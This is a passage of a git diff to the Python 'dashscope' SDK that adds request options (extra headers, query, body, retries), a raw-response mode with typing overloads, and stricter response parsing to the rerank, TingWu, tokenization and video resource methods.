), + response, + ) async def delete( self, @@ -696,6 +888,10 @@ async def delete( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> JobStatus: response = await self._client.transport.request( "DELETE", @@ -704,9 +900,22 @@ async def delete( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_status(response_json(response)), response) + return with_headers( + _parse_status( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) async def logs( self, @@ -717,6 +926,10 @@ async def logs( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> JobLogs: response = await self._client.transport.request( "GET", @@ -727,10 +940,21 @@ async def logs( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) return with_headers( - _parse_logs(job_id, response_json(response)), + _parse_logs( + job_id, + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), response, ) diff --git a/dashscope/resources/rerank.py b/dashscope/resources/rerank.py index 8e4c5936..e01b4b85 100644 --- a/dashscope/resources/rerank.py +++ b/dashscope/resources/rerank.py @@ -4,11 +4,22 @@ from __future__ import annotations -from typing import Any, Dict, List, Optional +from typing import ( + TYPE_CHECKING, + Any, + Dict, + List, + Literal, + Mapping, + Optional, + Union, + overload, +) from pydantic import BaseModel, ConfigDict -from dashscope.errors import check_response, response_json +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ( ResponseBase, Usage, @@ -16,6 +27,11 @@ with_headers, ) +if TYPE_CHECKING: + import httpx + + from dashscope.transport._response import APIResponse + _PATH = "/services/rerank/text-rerank/text-rerank" # Functional-area tag for x-dashscope-sdk-client (matches 1.x ``rerank``). MODULE = "rerank" @@ -48,12 +64,26 @@ class RerankResponse(ResponseBase): usage: Optional[Usage] = None -def _parse(body: Dict[str, Any]) -> RerankResponse: - output = body.get("output") or {} - return RerankResponse( - results=output.get("results") or [], - usage=body.get("usage"), - **response_envelope(body), +def _parse( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> RerankResponse: + output = body.get("output") + if not isinstance(output, dict): + # ``output`` drifted to a scalar; ``.get`` on it would escape as a + # bare AttributeError before parse_model ever saw the body. + output = {} + return parse_model( + RerankResponse, + { + "results": output.get("results") or [], + "usage": body.get("usage"), + **response_envelope(body), + }, + strict=strict, + response=response, ) @@ -92,6 +122,7 @@ class Rerank: def __init__(self, client) -> None: self._client = client + @overload def create( self, *, @@ -105,7 +136,61 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> RerankResponse: + ... + + @overload + def create( + self, + *, + model: str, + query: str, + documents: List[str], + top_n: Optional[int] = None, + return_documents: Optional[bool] = None, + instruct: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + model: str, + query: str, + documents: List[str], + top_n: Optional[int] = None, + return_documents: Optional[bool] = None, + instruct: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[RerankResponse, "APIResponse"]: + """Rerank ``documents`` against ``query``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ body = _build_body( model=model, query=query, @@ -115,7 +200,7 @@ def create( instruct=instruct, parameters=parameters, ) - response = self._client.transport.request( + resp = self._client.transport.request_api( "POST", _PATH, json=body, @@ -123,15 +208,32 @@ def create( api_key=api_key, workspace=workspace, sdk_module=MODULE, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) class AsyncRerank: def __init__(self, client) -> None: self._client = client + @overload async def create( self, *, @@ -145,7 +247,61 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> RerankResponse: + ... + + @overload + async def create( + self, + *, + model: str, + query: str, + documents: List[str], + top_n: Optional[int] = None, + return_documents: Optional[bool] = None, + instruct: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def create( + self, + *, + model: str, + query: str, + documents: List[str], + top_n: Optional[int] = None, + return_documents: Optional[bool] = None, + instruct: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[RerankResponse, "APIResponse"]: + """Rerank ``documents`` against ``query``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ body = _build_body( model=model, query=query, @@ -155,7 +311,7 @@ async def create( instruct=instruct, parameters=parameters, ) - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "POST", _PATH, json=body, @@ -163,6 +319,22 @@ async def create( api_key=api_key, workspace=workspace, sdk_module=MODULE, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) diff --git a/dashscope/resources/tingwu.py b/dashscope/resources/tingwu.py index 763354dc..6f0758e4 100644 --- a/dashscope/resources/tingwu.py +++ b/dashscope/resources/tingwu.py @@ -13,17 +13,25 @@ from __future__ import annotations -from typing import Any, Dict, Iterator, Optional, Union +from typing import ( + TYPE_CHECKING, + Any, + Dict, + Iterator, + Literal, + Mapping, + Optional, + Union, + overload, +) from pydantic import ConfigDict, Field -from dashscope.errors import ( - check_response, - error_from_business_code, - response_json, -) +from dashscope.errors import error_from_business_code +from dashscope.transport._options import request_options from dashscope.transport.ws import Connector, WsSession from dashscope.transport.ws_connection import WsConnection, WsTask +from dashscope.types._parse import parse_model from dashscope.types.common import ( ResponseBase, Usage, @@ -31,6 +39,11 @@ with_headers, ) +if TYPE_CHECKING: + import httpx + + from dashscope.transport._response import APIResponse + __all__ = [ "AsyncTingWu", "TingWu", @@ -56,6 +69,30 @@ class TingWuResult(ResponseBase): usage: Optional[Usage] = None +def _parse_result( + envelope: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> TingWuResult: + """Build a ``TingWuResult`` from the raw wire envelope. + + Shared by the sync and async ``call`` so the two cannot drift apart + in how they read ``output`` / ``usage``. + """ + data = response_envelope(envelope) + output = envelope.get("output") + data["output"] = output if isinstance(output, dict) else {} + if envelope.get("usage") is not None: + data["usage"] = envelope["usage"] + return parse_model( + TingWuResult, + data, + strict=strict, + response=response, + ) + + def _realtime_start_input( app_id: str, workspace_id: Optional[str], @@ -225,6 +262,7 @@ class TingWu: def __init__(self, client) -> None: self._client = client + @overload def call( self, *, @@ -234,12 +272,57 @@ def call( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> TingWuResult: - """Run one offline TingWu request (1.x ``TingWu.call``).""" + ... + + @overload + def call( + self, + *, + model: str, + input: Dict[str, Any], + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def call( + self, + *, + model: str, + input: Dict[str, Any], + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[TingWuResult, "APIResponse"]: + """Run one offline TingWu request (1.x ``TingWu.call``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ body: Dict[str, Any] = {"model": model, "input": dict(input)} if parameters: body["parameters"] = dict(parameters) - response = self._client.transport.request( + resp = self._client.transport.request_api( "POST", f"/services/{SERVICE}", json=body, @@ -247,15 +330,25 @@ def call( api_key=api_key, workspace=workspace, sdk_module=MODULE, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_result( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - envelope = response_json(response) - data = response_envelope(envelope) - output = envelope.get("output") - data["output"] = output if isinstance(output, dict) else {} - if envelope.get("usage") is not None: - data["usage"] = envelope["usage"] - return with_headers(TingWuResult.model_validate(data), response) def realtime( self, @@ -311,6 +404,7 @@ class AsyncTingWu: def __init__(self, client) -> None: self._client = client + @overload async def call( self, *, @@ -320,12 +414,57 @@ async def call( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> TingWuResult: - """Run one offline TingWu request (1.x ``TingWu.async_call``).""" + ... + + @overload + async def call( + self, + *, + model: str, + input: Dict[str, Any], + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def call( + self, + *, + model: str, + input: Dict[str, Any], + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[TingWuResult, "APIResponse"]: + """Run one offline TingWu request (1.x ``TingWu.async_call``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ body: Dict[str, Any] = {"model": model, "input": dict(input)} if parameters: body["parameters"] = dict(parameters) - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "POST", f"/services/{SERVICE}", json=body, @@ -333,12 +472,22 @@ async def call( api_key=api_key, workspace=workspace, sdk_module=MODULE, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_result( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - envelope = response_json(response) - data = response_envelope(envelope) - output = envelope.get("output") - data["output"] = output if isinstance(output, dict) else {} - if envelope.get("usage") is not None: - data["usage"] = envelope["usage"] - return with_headers(TingWuResult.model_validate(data), response) diff --git a/dashscope/resources/tokenization.py b/dashscope/resources/tokenization.py index 62e609ad..f0aeb399 100644 --- a/dashscope/resources/tokenization.py +++ b/dashscope/resources/tokenization.py @@ -4,9 +4,20 @@ from __future__ import annotations -from typing import Any, Dict, List, Optional, Union +from typing import ( + TYPE_CHECKING, + Any, + Dict, + List, + Literal, + Mapping, + Optional, + Union, + overload, +) -from dashscope.errors import check_response, response_json +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ( ResponseBase, Usage, @@ -15,6 +26,11 @@ ) from dashscope.types.messages import MessageInput, normalize_messages +if TYPE_CHECKING: + import httpx + + from dashscope.transport._response import APIResponse + _PATH = "/tokenizer" # Functional-area tag for x-dashscope-sdk-client (matches 1.x ``tokenizers``). MODULE = "tokenizers" @@ -37,13 +53,27 @@ def input_tokens(self) -> int: return self.usage.input_tokens -def _parse(body: Dict[str, Any]) -> TokenCount: - output = body.get("output") or {} - return TokenCount( - usage=body.get("usage") or {}, - token_ids=output.get("token_ids"), - tokens=output.get("tokens"), - **response_envelope(body), +def _parse( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> TokenCount: + output = body.get("output") + if not isinstance(output, dict): + # ``output`` drifted to a scalar; ``.get`` on it would escape as a + # bare AttributeError before parse_model ever saw the body. + output = {} + return parse_model( + TokenCount, + { + "usage": body.get("usage") or {}, + "token_ids": output.get("token_ids"), + "tokens": output.get("tokens"), + **response_envelope(body), + }, + strict=strict, + response=response, ) @@ -78,6 +108,7 @@ class Tokenization: def __init__(self, client) -> None: self._client = client + @overload def count( self, *, @@ -88,14 +119,62 @@ def count( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> TokenCount: + ... + + @overload + def count( + self, + *, + model: str, + prompt: Optional[str] = None, + messages: Union[str, List[MessageInput], None] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def count( + self, + *, + model: str, + prompt: Optional[str] = None, + messages: Union[str, List[MessageInput], None] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[TokenCount, "APIResponse"]: + """Count tokens for ``prompt`` / ``messages``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ body = _build_body( model=model, prompt=prompt, messages=messages, parameters=parameters, ) - response = self._client.transport.request( + resp = self._client.transport.request_api( "POST", _PATH, json=body, @@ -103,15 +182,32 @@ def count( api_key=api_key, workspace=workspace, sdk_module=MODULE, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) class AsyncTokenization: def __init__(self, client) -> None: self._client = client + @overload async def count( self, *, @@ -122,14 +218,62 @@ async def count( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> TokenCount: + ... + + @overload + async def count( + self, + *, + model: str, + prompt: Optional[str] = None, + messages: Union[str, List[MessageInput], None] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def count( + self, + *, + model: str, + prompt: Optional[str] = None, + messages: Union[str, List[MessageInput], None] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[TokenCount, "APIResponse"]: + """Count tokens for ``prompt`` / ``messages``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ body = _build_body( model=model, prompt=prompt, messages=messages, parameters=parameters, ) - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "POST", _PATH, json=body, @@ -137,6 +281,22 @@ async def count( api_key=api_key, workspace=workspace, sdk_module=MODULE, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) diff --git a/dashscope/resources/videos.py b/dashscope/resources/videos.py index a70636b8..349176f9 100644 --- a/dashscope/resources/videos.py +++ b/dashscope/resources/videos.py @@ -19,7 +19,20 @@ from __future__ import annotations -from typing import Any, Awaitable, Callable, Dict, List, Optional, Tuple, Union +from typing import ( + TYPE_CHECKING, + Any, + Awaitable, + Callable, + Dict, + List, + Literal, + Mapping, + Optional, + Tuple, + Union, + overload, +) from dashscope.resources._blocking import run_blocking from dashscope.resources._jobs import ( @@ -36,6 +49,9 @@ upload_media_value, ) +if TYPE_CHECKING: + from dashscope.transport._response import APIResponse + __all__ = [ "AsyncVideos", "Videos", @@ -175,6 +191,7 @@ def __init__(self, client) -> None: self._client = client self._jobs = Jobs(client, SERVICE, MODULE) + @overload def create( self, *, @@ -195,7 +212,74 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + def create( + self, + *, + model: str, + prompt: Optional[str] = None, + image_url: Optional[str] = None, + media: Optional[List[Dict[str, Any]]] = None, + extra_input: Optional[Dict[str, Any]] = None, + function: Optional[str] = None, + seed: Optional[int] = None, + size: Optional[str] = None, + duration: Optional[int] = None, + resolution: Optional[str] = None, + ratio: Optional[str] = None, + prompt_extend: Optional[bool] = None, + watermark: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + model: str, + prompt: Optional[str] = None, + image_url: Optional[str] = None, + media: Optional[List[Dict[str, Any]]] = None, + extra_input: Optional[Dict[str, Any]] = None, + function: Optional[str] = None, + seed: Optional[int] = None, + size: Optional[str] = None, + duration: Optional[int] = None, + resolution: Optional[str] = None, + ratio: Optional[str] = None, + prompt_extend: Optional[bool] = None, + watermark: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Submit a video task; returns a PENDING/RUNNING Job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying submit call before any error check. + """ image_url, media, extra_input, has_upload = _upload_inputs( self._client, model, @@ -229,8 +313,14 @@ def create( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload def fetch( self, task_id: str, @@ -238,14 +328,61 @@ def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Fetch one video task snapshot. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying fetch call before any error check. + """ return self._jobs.fetch( task_id, timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload def cancel( self, task_id: str, @@ -253,15 +390,61 @@ def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: - """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``).""" + ... + + @overload + def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying cancel call before any error check. + """ return self._jobs.cancel( task_id, timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload def list( # pylint: disable=redefined-builtin self, *, @@ -276,8 +459,62 @@ def list( # pylint: disable=redefined-builtin timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobList: - """List async tasks (``GET /tasks``).""" + ... + + @overload + def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobList, "APIResponse"]: + """List async tasks (``GET /tasks``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying list call before any error check. + """ return self._jobs.list( start_time=start_time, end_time=end_time, @@ -290,6 +527,11 @@ def list( # pylint: disable=redefined-builtin timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) def wait( @@ -301,6 +543,10 @@ def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Any]] = None, ) -> Job: return self._jobs.wait( @@ -310,6 +556,10 @@ def wait( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, _sleep=_sleep, ) @@ -344,6 +594,10 @@ def generate( max_interval: float = DEFAULT_MAX_INTERVAL, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> Job: """Submit and wait; returns the finished Job (output.video_url). @@ -374,6 +628,10 @@ def generate( timeout=submit_timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) return self.jobs.wait( job, @@ -382,6 +640,10 @@ def generate( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) @@ -390,6 +652,7 @@ def __init__(self, client) -> None: self._client = client self._jobs = AsyncJobs(client, SERVICE, MODULE) + @overload async def create( self, *, @@ -410,7 +673,74 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + async def create( + self, + *, + model: str, + prompt: Optional[str] = None, + image_url: Optional[str] = None, + media: Optional[List[Dict[str, Any]]] = None, + extra_input: Optional[Dict[str, Any]] = None, + function: Optional[str] = None, + seed: Optional[int] = None, + size: Optional[str] = None, + duration: Optional[int] = None, + resolution: Optional[str] = None, + ratio: Optional[str] = None, + prompt_extend: Optional[bool] = None, + watermark: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + 